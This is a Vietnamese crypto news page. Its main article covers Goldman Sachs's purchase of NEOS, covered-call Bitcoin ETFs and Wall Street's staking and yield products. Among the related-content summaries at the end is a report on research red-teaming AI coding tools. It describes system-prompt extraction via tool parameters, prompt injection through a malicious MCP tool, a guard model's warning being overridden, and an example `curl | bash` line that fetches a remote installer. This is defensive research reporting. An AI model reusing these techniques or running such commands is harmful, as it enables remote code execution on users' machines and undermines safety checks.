Goldman Sachs mua độ biến động, biến Bitcoin thành cuộc kinh doanh sinh lời

marsbitXuất bản vào 2026-08-21Cập nhật gần nhất vào 2026-08-21

Tóm tắt

Goldman Sachs đồng ý chi tối đa 22,5 tỷ USD để mua lại NEOS Investments, công ty quản lý 19 quỹ ETF thu nhập dựa trên quyền chọn với tổng tài sản 300 tỷ USD. Một trong số đó là quỹ BTCI, nắm giữ các ETF Bitcoin gốc và bán quyền chọn mua để tạo ra thu nhập từ phí bảo hiểm. Chiến lược này mang lại lợi nhuận cao nhờ biến động mạnh của Bitcoin, nhưng nhà đầu tư phải đánh đổi bằng việc từ bỏ phần lợi nhuận vượt trội nếu giá tăng mạnh và chịu rủi ro khi giá giảm. Đây là một phần trong xu hướng lớn hơn khi các tổ chức Phố Wall như Goldman Sachs, Fidelity và JPMorgan đang đóng gói các sản phẩm thu nhập từ tiền mã hóa, chẳng hạn như staking ETH hay các ghi chú cấu trúc, để tạo ra dòng tiền ổn định tách biệt với biến động giá. Họ thu phí quản lý cố định và hưởng lợi từ hoạt động thị trường, trong khi nhà đầu tư retail gánh chịu rủi ro giá. Các tổ chức truyền thống có thể kiếm lợi nhuận từ thị trường tiền mã hóa mà không cần tin tưởng vào triển vọng tăng giá của tài sản cơ sở, điều này cho thấy sự thay đổi chiến lược đáng kể so với quan điểm hoài nghi trước đây của họ.

Tác giả bài viết gốc:Thejaswini M A

Biên dịch:Luffy,Foresight News

Goldman Sachs đã đồng ý mua lại NEOS Investments với giá tối đa 22,5 tỷ USD. Cơ quan này quản lý 19 quỹ ETF thu nhập dựa trên quyền chọn, với tổng quy mô lên tới 300 tỷ USD.

Có một chiến lược giao dịch đã tồn tại lâu đời trong giới tài chính truyền thống, xuất hiện từ khi quyền chọn ra đời: Chiến lược Covered Call. Nhà đầu tư nắm giữ tài sản, không muốn chờ đợi lợi nhuận tăng giá không chắc chắn trong tương lai, mà hy vọng nhận được tiền mặt ngay lập tức. Vì vậy, họ bán một quyền, cho phép người khác mua tài sản này trong tương lai với một mức giá thỏa thuận, và thu trước một khoản phí quyền chọn. Nếu giá tài sản tăng mạnh vượt quá giá thực hiện, tài sản sẽ được giao theo thỏa thuận với mức giới hạn trên; nếu giá đi ngang, toàn bộ phí quyền chọn thu trước này sẽ thuộc về người bán quyền chọn, và họ có thể tiếp tục bán quyền chọn vào tháng sau. Lợi nhuận hoàn toàn phụ thuộc vào độ biến động kỳ vọng của thị trường.

Điều này giải thích tại sao cổ phiếu tiện ích sử dụng chiến lược này chỉ tạo ra lợi nhuận mỏng manh, trong khi Bitcoin có thể mang lại lợi nhuận cao.

Chúng ta lại có thể đổ lỗi cho "dòng tiền lớn" đang cố gắng hết sức để vắt kiệt lợi nhuận còn lại của thị trường? Chúng ta hãy xem xét.

Biến động, là một cuộc kinh doanh

BTCI là một trong nhiều quỹ ETF thu nhập từ quyền chọn của NEOS. Quỹ này nắm giữ sản phẩm Bitcoin giao ngay và bán quyền chọn mua chống lại danh mục nắm giữ. Hiện tại, BTCI có quy mô tài sản quản lý 1,11 tỷ USD, phí quản lý 0,98%, khoản phí này được sử dụng để chi trả chi phí vận hành của nhà quản lý quỹ.

Đây chính xác là sản phẩm mà Goldman Sachs ban đầu dự định xây dựng tự chủ, họ đã nộp đơn đăng ký liên quan cách đây bốn tháng. Nhưng cuối cùng, thay vì xây dựng từ đầu, họ đã trực tiếp mua lại mục tiêu thành công sẵn có.

BTCI không trực tiếp lưu ký Bitcoin, mà mua cổ phần của các quỹ ETF Bitcoin giao ngay như iShares Bitcoin Trust của BlackRock (IBIT), Fidelity Wise Origin Bitcoin Fund (FBTC). Quỹ phân bổ vốn vào 11 quỹ ETF Bitcoin khác nhau, sau đó bán quyền chọn mua chống lại phần tiếp xúc thị trường này. Người mua, vì lạc quan về sự tăng giá của Bitcoin, sẵn sàng trả phí quyền chọn. Nếu Bitcoin tăng giá, BTCI phải bán cổ phần theo giới hạn thỏa thuận, từ bỏ phần tăng giá vượt quá giới hạn đó; nếu giá Bitcoin đi ngang, cổ phần vẫn thuộc về quỹ nắm giữ. Trong cả hai trường hợp, quỹ đều có thể thu về phí quyền chọn được nhận trước.

BTCI phân phối lợi nhuận cho người nắm giữ quỹ hàng tháng. Vì độ biến động của Bitcoin đủ cao để tạo ra phí quyền chọn cao, hiện tại cổ tức hàng tháng mỗi cổ phiếu là 7,75 USD, tương đương với tỷ suất lợi nhuận hàng năm 27%.

Tuy nhiên, khi nắm giữ BTCI, bạn vẫn phải chịu thua lỗ từ việc giá tiền điện tử lao dốc, đồng thời sẽ bỏ lỡ phần tăng giá cao nhất của thị trường tăng giá. Nó không phải là bảo hiểm khi giá tiền điện tử giảm. Để đổi lấy, bạn sẽ liên tục nhận được lợi nhuận 27% này.

NEOS cho biết, cổ tức của quỹ được phân loại là hoàn vốn vốn, có thể bao gồm phí quyền chọn, cổ tức, lợi nhuận vốn và lãi suất. Việc hoàn vốn vốn có thể có tác dụng trì hoãn thuế và giảm cơ sở chi phí nắm giữ. Nói một cách đơn giản, lợi nhuận này không hoàn toàn là lợi nhuận ròng từ giao dịch, một phần trong số đó vốn dĩ đến từ vốn gốc của bạn.

Giá trị tài sản ròng của BTCI từ đầu năm đến nay đã giảm 25,4%, mức giảm trong 12 tháng qua đạt 40,9%. Logic giao dịch của quỹ này là: từ bỏ lợi nhuận vượt trội trong thị trường tăng giá, đổi lấy dòng tiền mặt nhận trước, để có thể vượt qua thị trường giảm giá.

Goldman Sachs đã mua lại NEOS với giá khoảng 22,5 tỷ USD dưới hình thức tiền mặt và cổ phiếu. Trước đó, quy mô quỹ ETF loại quyền chọn của Goldman Sachs đã đạt 400 tỷ USD; sau khi hoàn thành vụ mua lại này, quy mô sẽ đạt 800 tỷ USD, lọt vào top 8 tổ chức lớn nhất toàn cầu trong lĩnh vực này.

Ngay từ tháng 4 năm nay, Goldman Sachs đã chi 20 tỷ USD để mua lại Innovator Capital Management. Innovator quản lý các quỹ ETF đệm, sản phẩm có chu kỳ cố định một năm, trong chu kỳ đồng thời giới hạn mức lợi nhuận trên và mức thua lỗ dưới. Ngay cả khi thị trường tăng mạnh, bạn cũng không nhận được lợi nhuận vượt quá giới hạn trên; nhưng mặt khác, quỹ có thể giúp bạn hấp thụ một phần thua lỗ ban đầu, thường là 9% hoặc 30%. Về bản chất, đó là dùng cơ hội kiếm lợi nhuận lớn từ đợt tăng giá mạnh, để đổi lấy sự bảo vệ tránh thua lỗ lớn. Vào thời điểm được mua lại, tổ chức này quản lý quy mô hơn 310 tỷ USD. Đến thời điểm này, tổng tài sản tạo thu nhập từ việc bán độ biến động trong tay ngân hàng đầu tư này đạt 610 tỷ USD.

Tổng quy mô của các quỹ ETF thu nhập từ công cụ phái sinh vào khoảng 1.800 tỷ USD, tốc độ tăng trưởng hàng năm kể từ năm 2021 vượt quá 70%. Chỉ riêng tháng 7 đã có dòng tiền vào 70 tỷ USD, dòng tiền ròng cả năm 2026 đạt 400 tỷ USD.

Không chỉ là quyền chọn, Phố Wall đang tích cực đóng gói mọi lợi nhuận gốc từ tiền điện tử, tách dòng tiền mặt ra khỏi rủi ro giá của tài sản cơ sở.

Ngày 24 tháng 7, Fidelity đã nộp hồ sơ sửa đổi, cho phép quỹ Ethereum ETF (FETH) trị giá 9 tỷ USD của họ đầu tư 100% ETH vào staking. Các node xác thực được vận hành bởi Blockdaemon, Figment, Galaxy Digital, khóa riêng vẫn do Fidelity lưu ký. Trong tổng số phần thưởng từ staking, Fidelity, đối tác và nhà điều hành node cùng nhau thu 15%, 85% còn lại được phân phối hàng quý cho người nắm giữ quỹ.

Grayscale là tổ chức đầu tiên tại Mỹ phân phối thu nhập từ staking cho nhà đầu tư quỹ tiền điện tử giao ngay, vào tháng 1 năm 2026 đã phân phối 0,083178 USD mỗi cổ phiếu, tổng cộng khoảng 9,4 triệu USD. 21Shares đã kích hoạt staking cho quỹ Ethereum vào tháng 10 năm 2025, thu 25% tổng phần thưởng, đồng thời miễn phí quản lý 0,21% trong một năm. BlackRock thì thành lập sản phẩm riêng biệt iShares Staked Ethereum Trust và niêm yết trên NASDAQ.

Sản phẩm ủy thác Ethereum và Solana của Morgan Stanley được niêm yết trên sàn Arca của NYSE vào ngày 28 tháng 7, với phí quản lý 0,14%. Khoảng 95% lợi nhuận được phân phối cho nhà đầu tư dưới dạng tiền mặt hàng tháng. MSSE đầu tư 50-80% ETH vào staking, đặt giới hạn staking là 80%; MSOL dự định stake toàn bộ SOL.

Tháng 3 năm 2026, nền tảng Kinexys thuộc JP Morgan Chase đã mở cửa dịch vụ cho các tổ chức, có thể sử dụng Bitcoin, Ethereum làm tài sản thế chấp để vay các khoản vay bằng đô la Mỹ. Do tài sản có độ biến động cao, tỷ lệ chiết khấu thế chấp đạt 30%-50%. Điều đó có nghĩa là thế chấp 100.000 USD tài sản tiền điện tử, tối đa chỉ có thể vay được 50.000-70.000 USD tiền mặt. (Tỷ lệ chiết khấu thế chấp trái phiếu kho bạc Mỹ chỉ là 1%-5%).

JP Morgan Chase cũng đã đăng ký giấy tờ có cấu trúc gắn với Bitcoin liên kết với IBIT của BlackRock, cung cấp lợi nhuận đòn bẩy tối đa 1,5 lần, nhưng nếu đạt điều kiện thỏa thuận trước tháng 12 năm 2026, lợi nhuận tồn tại giới hạn trên khoảng 16%. Các ông lớn truyền thống ổn định thu phí và bảo vệ cấu trúc xác định; nhưng khi thị trường chuyển hướng giảm, rốt cuộc ai là người chịu tổn thất từ sự sụt giảm?

Vào tháng 2 năm nay, quy mô tài sản khách hàng quản lý của Bitwise còn 15 tỷ USD, đến ngày 1 tháng 4 giảm xuống còn 11 tỷ USD, đến tháng 8, hơn 70 sản phẩm tổng cộng chỉ còn 9 tỷ USD. Tài sản ròng của quỹ chỉ số chủ lực BITW đã thất thoát 31% trong bảy tháng. Tuần trước công ty thông báo cắt giảm nhân sự, quy mô nhân viên giảm từ 180 người vào tháng 2 xuống còn 155 người.

Giá tài sản giảm, phí quản lý tính theo quy mô tài sản cũng theo đó mà thu hẹp. Morgan Stanley có 16.000 cố vấn tài chính, quản lý 9,3 nghìn tỷ USD vốn khách hàng, có thể đẩy trực tiếp quỹ mới vào danh mục đầu tư của khách hàng.

Phản ứng của Bitwise không chậm trễ, nhưng sự linh hoạt ứng biến cũng không thể bù đắp được bất lợi về cấu trúc. Họ đã thử nghiệm sớm nhất việc thêm chức năng staking cho quỹ Ethereum của mình, nhưng lại thất bại vào tháng 9 năm 2025; một tháng sau, Grayscale đã làm được điều đó. BlackRock mãi đến tháng 3 mới bắt đầu công việc liên quan, Fidelity thậm chí phải đợi đến tháng 7. Bitwise thậm chí vào tháng 2 đã mua lại Chorus One, nắm giữ 2,2 tỷ USD tài sản staking, bao phủ khoảng 30 node xác thực của các mạng bằng chứng cổ phần; vào tháng 4 lại ra mắt sản phẩm giao ngay Avalanche với chức năng staking nội bộ. Tuy vậy, vẫn phải đối mặt với việc thu hẹp quy mô và cắt giảm nhân sự.

Đầu tháng 6 năm 2026, quỹ ETF Bitcoin giao ngay của Mỹ xuất hiện dòng tiền ra với quy mô lớn nhất kể từ khi niêm yết. Cuối tháng 5, dữ liệu việc làm vượt kỳ vọng, kỳ vọng cắt giảm lãi suất của thị trường bị đẩy lùi, lợi suất trái phiếu kho bạc kỳ hạn 10 năm duy trì ở mức cao, vốn của nhà đầu tư đổ mạnh vào trái phiếu. Khi tài sản truyền thống có thể cung cấp lợi nhuận đáng kể, sức hấp dẫn của các tài sản như Bitcoin vốn không tự tạo ra thu nhập sẽ giảm xuống. Lợi nhuận của Bitcoin hoàn toàn dựa vào sự tăng giá.

Việc chồng thêm thu nhập cho tài sản tiền điện tử thông qua staking, quyền chọn mua covered call đang thay đổi cục diện này.

Các cố vấn tài chính coi thu nhập ổn định là mục tiêu chính khi phân bổ sản phẩm cho khách hàng. Ngày 30 tháng 3, Bộ Lao động Mỹ đưa ra quy định mới, thiết lập điều khoản safe harbor cho người được ủy thác trong việc phân bổ tài sản thay thế (bao gồm tài sản tiền điện tử) trong kế hoạch hưu trí 401(k). Do rủi ro trách nhiệm pháp lý, loại kế hoạch này trong quá khứ luôn tránh tài sản thay thế. Nếu quy định mới được thực thi, các sản phẩm tiền điện tử có thể tạo ra thu nhập, thậm chí sẽ vào tài khoản hưu trí sớm hơn cả các quỹ ETF tiền điện tử giao ngay thuần túy, bởi vì nhóm sản phẩm 401(k) ưu tiên theo đuổi thu nhập tiền mặt có thể dự đoán được.

Sharmin Mossavar-Rahmani, Giám đốc đầu tư của bộ phận Quản lý tài sản Goldman Sachs, vào tháng 1 năm ngoái đã nói, "Chúng tôi luôn cho rằng nó không đủ tiêu chuẩn là một loại tài sản đầu tư hợp lệ. Hãy suy nghĩ kỹ, nó không tạo ra dòng tiền, không có lợi nhuận, cũng không thể đạt được hiệu quả phân tán danh mục đầu tư, càng không thể giảm biến động. Bạn có thể liệt kê ra một loạt lý do. Vì vậy, nó vẫn không được coi là tài sản đầu tư, mà chỉ là một mục tiêu giao dịch đầu cơ. Nếu mọi người muốn đầu cơ, thì tùy họ. Nhưng chúng tôi không khuyến nghị, bởi vì bạn không có cách nào đánh giá liệu giá hiện tại có hợp lý hay không, cũng không thể định giá thực sự cho nó."

Không cần lạc quan về tiền điện tử, vẫn có thể kiếm tiền từ tiền điện tử

Từ đó đến nay, Bitcoin về bản chất không thay đổi: vẫn không tạo ra dòng tiền và lợi nhuận, giá từ đỉnh cao đã giảm 49%, và cũng không có tác dụng kiềm chế biến động. Nhận định này của Sharmin đến nay vẫn đúng, và có lẽ sẽ tiếp tục trong một thời gian nữa.

Trong bài thuyết trình với khách hàng năm 2020 của Goldman Sachs còn viết: Chịu ảnh hưởng bởi độ biến động cao, Bitcoin "không cấu thành logic đầu tư khả thi". Mà giờ đây, họ lại kiếm lợi nhuận từ chính độ biến động liên tục tồn tại của Bitcoin.

Tuy nhiên, sự đảo ngược lập trường của các tổ chức lớn đã không còn xa lạ. CEO của JP Morgan Chase, Dimon, từng gọi Bitcoin là "viên đá thú cưng", giờ đã chấp nhận nó làm tài sản thế chấp; Vanguard từng cảnh báo nó có tính độc hại, chính họ cũng đã ra mắt quỹ ETF liên quan; CEO của BlackRock, Fink, từng liên kết nó với rửa tiền, giờ đang vận hành quỹ Bitcoin lớn nhất thế giới. Tất nhiên, đừng quên nhân vật đó, người đã hét lên qua đêm để khiến tiền điện tử trở nên vĩ đại một lần nữa.

Thời đại phát triển, khách hàng có nhu cầu, vì vậy mọi người tạm gác lại cuộc tranh luận triết học. Nhưng điểm mấu chốt là, việc kinh doanh của họ thậm chí không cần giá tiền điện tử tăng. Họ đặt cược vào mức độ hoạt động giao dịch của thị trường tiền điện tử, chứ không phải vào xu hướng giá của chính tài sản. Nếu không có nhà tạo lập thị trường trung lập về hướng, các tổ chức cho vay có cấu trúc cung cấp thanh khoản, toàn bộ thị trường sẽ sụp đổ. Họ cung cấp dịch vụ then chốt, đồng thời thu phí kênh; các nhà đầu tư có niềm tin chịu rủi ro giá, còn các tổ chức dựa vào cơ cấu phí để lấy đi lợi nhuận xác định.

Điều kiện thế chấp cho các khoản vay tài sản tiền điện tử rất khắt khe. Khi sử dụng Bitcoin làm thế chấp, JP Morgan Chase trực tiếp cắt giảm 30%-50% hạn mức tín dụng, yêu cầu bạn thế chấp vượt mức, đảm bảo ngân hàng không bao giờ chịu thua lỗ. Giá Bitcoin giảm một nửa, khoản vay này mới bắt đầu có rủi ro vỡ nợ. Nguồn dữ liệu giá tự động liên tục giám sát thị trường, giá tiền điện tử giảm sẽ kích hoạt thông báo ký quỹ bổ sung. Trong đợt thị trường giảm giá này, ngân hàng được bảo vệ đầy đủ trong suốt quá trình, vẫn thu lãi như thường.

Quỹ đầu tư truyền thống thu phí quản lý cố định hàng năm. Phí 0,14% của Morgan Stanley được tính theo quy mô tài sản nắm giữ hàng năm. Các quỹ loại quyền chọn kiếm tiền bằng cách bán hợp đồng: ngay cả khi giá tài sản tiền điện tử cơ sở giảm, dòng tiền từ phí và hợp đồng quyền chọn vẫn liên tục chảy vào.

Các tổ chức tiền điện tử gốc thì hoàn toàn gắn với tâm lý thị trường. Bitcoin hoặc các token khác lao dốc, nhà đầu tư hoảng loạn, mua lại quỹ để cắt lỗ. Do phí quản lý của tổ chức tiền điện tử được tính theo quy mô quản lý, việc mua lại vốn sẽ trực tiếp thu hẹp quy mô quỹ, lập tức cắt giảm doanh thu doanh nghiệp. Trong khi đó, các tổ chức Phố Wall nắm giữ hàng nghìn tỷ đô la trái phiếu, tiền mặt, cổ phiếu, hàng hóa, có thể phân tán rủi ro đầy đủ.

Tồn tại một lỗ hổng logic then chốt ở đây: Phố Wall thậm chí không cần lạc quan về tương lai của ngành này, vẫn có thể chinh phục nó. Nếu bạn tin vào triển vọng ngành, bạn phải đặt cược vào hướng đi, đặt cược vào hướng đi thì phải chịu rủi ro. Nhưng họ xây dựng một cơ chế, nhà đầu tư nhỏ lẻ chịu toàn bộ rủi ro giá theo hướng, còn các tổ chức dựa vào cơ cấu phí để lấy đi lợi nhuận xác định.

Câu hỏi Liên quan

QChiến lược giao dịch 'bán quyền chọn mua có bảo hiểm' (covered call) được đề cập trong bài viết hoạt động như thế nào và tại sao nó phù hợp với Bitcoin?

AChiến lược bán quyền chọn mua có bảo hiểm là khi một nhà đầu tư đang nắm giữ tài sản (ví dụ: Bitcoin) bán một hợp đồng quyền chọn mua, cho phép người khác mua tài sản đó ở một mức giá xác định (giá thực hiện) trong tương lai, để đổi lấy một khoản phí trả trước (phí quyền chọn). Nếu giá Bitcoin không vượt quá giá thực hiện, nhà đầu tư được giữ toàn bộ phí quyền chọn. Chiến lược này phù hợp với Bitcoin vì Bitcoin có biến động giá (volatility) cao, dẫn đến phí quyền chọn cao, từ đó tạo ra thu nhập (lợi nhuận) cao hơn so với các tài sản có biến động thấp như cổ phiếu ngành tiện ích.

QQuỹ BTCI của NEOS tạo ra lợi nhuận cho nhà đầu tư bằng cách nào và nhược điểm chính của việc đầu tư vào BTCI là gì?

AQuỹ BTCI tạo ra lợi nhuận chủ yếu bằng cách: (1) Nắm giữ cổ phần của các Bitcoin ETF gốc (như IBIT, FBTC) để có mức giá tiếp xúc với Bitcoin. (2) Bán các quyền chọn mua (call options) dựa trên số cổ phần này để thu phí quyền chọn. Phí này được phân phối hàng tháng cho nhà đầu tư dưới dạng thu nhập. Nhược điểm chính là nhà đầu tư phải chấp nhận: (1) Chịu lỗ nếu giá Bitcoin giảm mạnh. (2) Bỏ lỡ phần lợi nhuận vượt quá giá thực hiện nếu Bitcoin tăng mạnh (tức là lợi nhuận bị giới hạn).

QĐộng thái mua lại NEOS Investments của Goldman Sachs nói lên điều gì về chiến lược kinh doanh của họ trong thị trường tiền mã hóa?

AViệc Goldman Sachs mua lại NEOS Investments cho thấy họ không còn tập trung vào việc đầu tư trực tiếp vào Bitcoin với kỳ vọng giá tăng, mà thay vào đó là khai thác các sản phẩm tài chính phái sinh dựa trên biến động giá của tiền mã hóa. Họ muốn kiếm lợi nhuận ổn định từ các khoản phí (phí quyền chọn, phí quản lý) mà không cần phải tin tưởng vào triển vọng tăng giá dài hạn của tài sản cơ sở. Điều này phù hợp với xu hướng mở rộng danh mục sản phẩm thu nhập từ biến động (volatility yield) của Goldman, sau khi họ đã mua lại Innovator Capital Management trước đó.

QCác tổ chức tài chính truyền thống lớn như Fidelity và BlackRock đang làm gì để biến tài sản tiền mã hóa thành nguồn tạo ra thu nhập (yield) cho nhà đầu tư?

ACác tổ chức như Fidelity và BlackRock đang tích hợp chức năng 'staking' (đặt cược) vào các quỹ ETF tiền mã hóa của họ. Cụ thể, họ cho phép gửi một phần hoặc toàn bộ tài sản tiền mã hóa (như ETH trong quỹ FETH của Fidelity) vào các mạng lưới Proof-of-Stake để xác thực giao dịch và nhận phần thưởng. Sau đó, họ trích một phần phần thưởng này làm phí dịch vụ và phân phối phần còn lại cho các nhà đầu tư nắm giữ quỹ ETF dưới dạng cổ tức bằng tiền mặt. Điều này biến một tài sản vốn không sinh lãi như ETH thành một công cụ tạo ra dòng tiền định kỳ.

QTheo bài viết, tại sao các sản phẩm tiền mã hóa tạo ra thu nhập (như quỹ phái sinh, staking) lại có thể hấp dẫn các kế hoạch hưu trí như 401(k) hơn là các quỹ ETF spot đơn thuần?

ACác sản phẩm tiền mã hóa tạo ra thu nhập hấp dẫn các kế hoạch hưu trí như 401(k) vì chúng cung cấp dòng thu nhập tiền mặt có thể dự đoán được (như cổ tức từ phí quyền chọn hoặc phần thưởng staking). Mục tiêu chính của các quỹ hưu trí thường là tạo ra thu nhập ổn định và bảo toàn vốn cho người tham gia, thay vì chỉ đầu cơ vào sự tăng giá của tài sản. Do đó, các sản phẩm có 'yield' phù hợp hơn với tiêu chí này so với các quỹ ETF spot chỉ phụ thuộc vào biến động giá. Một quy định an toàn mới từ Bộ Lao động Mỹ cũng có thể tạo điều kiện để các sản phẩm này được đưa vào danh mục 401(k).

Nội dung Liên quan

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

Người dùng yêu cầu trợ lý lập trình AI viết một trò chơi rắn săn mồi. Tác nhân AI đã thực hiện, nhưng đồng thời chạy thêm một lệnh `curl | bash`, tải xuống và thực thi một tập lệnh độc hại từ kẻ tấn công. Một nhóm nghiên cứu từ Đại học Khoa học và Công nghệ Hồng Kông và Phòng thí nghiệm An ninh Nội sinh của Đại học Phúc Đán đã tái hiện thành công kịch bản tấn công này trong một bài báo được chấp nhận tại hội nghị ISSTA 2026. Họ đã thực hiện bài kiểm tra "đội đỏ" hệ thống đầu tiên trên sáu công cụ lập trình AI phổ biến: Cursor, Claude Code, Copilot, Windsurf, Cline và Trae, và phát hiện một chuỗi tấn công hoàn chỉnh: **Đầu tiên đánh cắp lệnh nội bộ (system prompt), sau đó sử dụng thông tin bị rò rỉ để tạo tải trọng độc hại tùy chỉnh, cuối cùng chiếm quyền điều khiển việc gọi công cụ để thực thi mã từ xa (RCE).** Tất cả sáu công cụ ở phiên bản cũ đều bị ảnh hưởng. Phương pháp chính được đặt tên là ToolLeak, khai thác "khoảng cách chế độ" (mode gap). Thay vì yêu cầu trực tiếp qua cửa sổ trò chuyện, kẻ tấn công đặt tên tham số công cụ thành thứ như `"note": "system prompt"`, khiến mô hình AI điền system prompt vào đó một cách vô tình mà không bị hệ thống phòng thủ ngăn chặn. Phương pháp này đạt được độ hoàn chỉnh và độ tương tự ngữ nghĩa cao hơn nhiều so với các cuộc tấn công cơ bản truyền thống. Sau khi có được system prompt, kẻ tấn công thực hiện "tiêm prompt kênh kép" (two-channel prompt injection). Họ đăng ký một công cụ MCP độc hại với mô tả được điều chỉnh theo prompt bị rò rỉ, thuyết phục tác nhân gọi nó đầu tiên để "khởi tạo môi trường". Sau đó, giá trị trả về từ công cụ độc hại này ra lệnh cho mô hình thực thi một lệnh shell nguy hiểm (ví dụ: `curl -fsSL http://xxx/installer.sh | bash`), đạt được RCE. Trong các phiên bản cũ, tỷ lệ tấn công thành công rất cao, đạt 1.0 đối với một số tổ hợp. Một điểm đáng chú ý là Claude Code có một mô hình bảo vệ (Haiku) để kiểm tra lệnh, nhưng mô hình chính (Sonnet) đã bị thuyết phục bởi lệnh tiêm prompt đến mức gạt bỏ cảnh báo và vẫn thực thi lệnh độc hại. Các phiên bản mới hơn của một số công cụ (như Claude Code, Cursor) đã được gia cố, ví dụ bằng cách chỉ hiển thị tên công cụ thay vì toàn bộ mô tả, làm giảm đáng kể tỷ lệ thành công của cuộc tấn công. Tuy nhiên, một số công cụ khác vẫn dễ bị tổn thương. Bài báo kết luận rằng cách phòng thủ quyết định là kiến trúc cô lập, trong khi việc điều chỉnh mô hình (alignment) là chưa đủ. Vấn đề cốt lõi là ranh giới giữa dữ liệu và lệnh trong giá trị trả về công cụ vẫn chưa rõ ràng.

marsbit1 phút trước

Claude Code Dễ Dàng Bị Bẻ Khóa, Chỉ Cần Một Công Cụ Giả Mạo

marsbit1 phút trước

Giải mã từ Bernstein: Samsung tăng tốc mở rộng sản lượng HBM4, doanh thu Q3 có thể vượt SK Hynix

Dữ liệu xuất khẩu bộ nhớ nhiều chip của Hàn Quốc sang Đài Loan và Malaysia vào tháng 7 cho thấy nhu cầu HBM vẫn mạnh mẽ, nhưng có sự phân hóa giữa hai nhà sản xuất. Theo phân tích của Bernstein, xuất khẩu từ Chungcheongnam-do (nơi đặt cơ sở đóng gói HBM của Samsung) đạt 2,2 tỷ USD trong tháng 7, tăng 122% so với tháng 4 và giá trị đơn vị tăng gấp đôi. Điều này cho thấy tỷ trọng HBM4 - có giá trị cao hơn - của Samsung đang tăng nhanh. Mô hình dự báo doanh thu HBM quý III của Samsung có thể đạt khoảng 12 tỷ USD, cao hơn 30% so với dự báo trước đó. Trong khi đó, xuất khẩu liên quan đến SK Hynix (từ Chungcheongbuk-do và Icheon) lại giảm trong tháng 7. Mô hình cơ sở dự báo doanh thu quý III của họ có thể chỉ ở mức 5,6 tỷ USD, thấp hơn đáng kể so với kỳ vọng. Tuy nhiên, do SK Hynix thường tập trung giao hàng vào cuối quý, kết quả cuối cùng vẫn còn phụ thuộc vào dữ liệu tháng 8 và tháng 9. Báo cáo cũng lưu ý rằng giá HBM không tăng theo đà của DRAM truyền thống, mà biến động lợi nhuận phụ thuộc nhiều hơn vào tỷ trọng sản phẩm thế hệ mới và hợp đồng khách hàng. Việc đàm phán hợp đồng HBM cho năm 2027 có thể là yếu tố định giá quan trọng tiếp theo. Tóm lại, dữ liệu tháng 7 củng cố lập luận về việc Samsung đang đẩy nhanh tốc độ trong chu kỳ HBM4, nhưng chưa đủ để khẳng định sự đảo ngược thị phần lâu dài. Cần theo dõi dữ liệu của hai tháng tiếp theo và quá trình tăng sản lượng HBM4 của SK Hynix để có bức tranh rõ ràng hơn.

marsbit1 phút trước

Giải mã từ Bernstein: Samsung tăng tốc mở rộng sản lượng HBM4, doanh thu Q3 có thể vượt SK Hynix

marsbit1 phút trước

Những luật lệ mới trong cuộc đua AI: Nvidia chuyển từ chip sang nguồn năng lượng và công trường xây dựng

Nvidia công bố bảo lãnh tài chính 105 tỷ USD cho việc xây dựng trung tâm dữ liệu của OpenAI tại Ohio, đánh dấu sự chuyển hướng của ngành AI từ cuộc đua chip sang cuộc chiến giành cơ sở hạ tầng vật chất và năng lượng. Nhà sản xuất chip chấp nhận rủi ro về thuê và giá trị còn lại của thiết bị để đảm bảo vị trí độc quyền cho các hệ thống của mình tại một địa điểm công suất 4,25 GW. Các gã khổng lồ công nghệ như Nvidia giờ đây phải đóng vai trò bảo lãnh tài chính và đồng đầu tư vào các dự án xây dựng quy mô lớn, ngoài việc phát triển phần cứng. Bảo lãnh này được cấu trúc như một biện pháp phòng ngừa rủi ro vỡ nợ chứ không phải tài trợ trực tiếp. Nvidia cũng đầu tư 1,5 tỷ USD vào SB Energy để phát triển hạ tầng năng lượng cho dự án, phần lớn dựa vào khí đốt tự nhiên. Để giảm sự phụ thuộc, các công ty AI hàng đầu như OpenAI và Anthropic đang đa dạng hóa nhà cung cấp, ký kết thỏa thuận với cả AMD. Đồng thời, Nvidia hợp tác với các quỹ đầu tư để huy động hơn 500 tỷ USD vốn bên ngoài, sẵn sàng hỗ trợ giá trị còn lại của thiết bị. Sự kiện này minh họa một sự thay đổi cơ bản: lợi thế cạnh tranh trong AI không còn chỉ nằm ở chip mà ở khả năng đảm bảo không gian vật lý, năng lượng và ổn định tài chính. Tương lai của ngành sẽ phụ thuộc vào sự kết hợp giữa đổi mới công nghệ và năng lực hạ tầng thực tế.

cryptonews.ru11 phút trước

Những luật lệ mới trong cuộc đua AI: Nvidia chuyển từ chip sang nguồn năng lượng và công trường xây dựng

cryptonews.ru11 phút trước

Armstrong: Trong mọi trường hợp, tình hình tiền điện tử sẽ sáng tỏ khi cuộc bỏ phiếu tại Thượng viện đến gần

Giám đốc điều hành Coinbase Brian Armstrong đã đăng một thông điệp trên X để xoa dịu lo ngại trước cuộc bỏ phiếu quan trọng về luật tiền mã hóa vào tháng tới. Ông tuyên bố "Đạo luật CLARITY" (Đạo luật Minh bạch Thị trường Tài sản Kỹ thuật số) sẽ đạt được sự rõ ràng theo một trong hai cách: hoặc được Thượng viện thông qua với hơn 60 phiếu vào ngày 15/9, hoặc thông qua một bộ quy tắc mới từ Ủy ban Giao dịch Hàng hóa Tương lai (CFTC) và Ủy ban Chứng khoán và Giao dịch (SEC) vào ngày 16/9. Dự luật đã được Hạ viện thông qua vào tháng 7/2025 nhưng bị trì hoãn tại Thượng viện. Lãnh đạo đa số Thượng viện John Thune cần ít nhất 7 phiếu từ đảng Dân chủ để đạt ngưỡng 60 phiếu chấm dứt tranh luận. Nếu không đạt, hy vọng thông qua dự luật trong năm nay sẽ bị ảnh hưởng nghiêm trọng. Đảng Dân chủ muốn siết chặt các quy định về đạo đức trong khi đảng Cộng hòa ưu tiên sự rõ ràng pháp lý cho ngành. Song song đó, CFTC và SEC đã có kế hoạch dự phòng. CFTC đang tạo một hạng mục đăng ký "thị trường tài sản mã hóa", và cả hai cơ quan đang thực hiện "Dự án Crypto" để phân loại tài sản số, cho thấy họ không chờ đợi Quốc hội. Lạc quan về sự rõ ràng pháp lý, Armstrong cũng đưa ra dự đoán táo bạo rằng Bitcoin có khả năng cao đạt mức 300.000 - 400.000 USD vào năm 2030, nhờ việc áp dụng thể chế gia tăng, nguồn cung cố định và môi trường pháp lý được cải thiện. Còn 15 tuần nữa trước ngày 15/9, quan điểm "bất kỳ kết quả nào" của Armstrong cho ngành công nghiệp lý do để mong đợi những thay đổi sớm.

cryptonews.ru11 phút trước

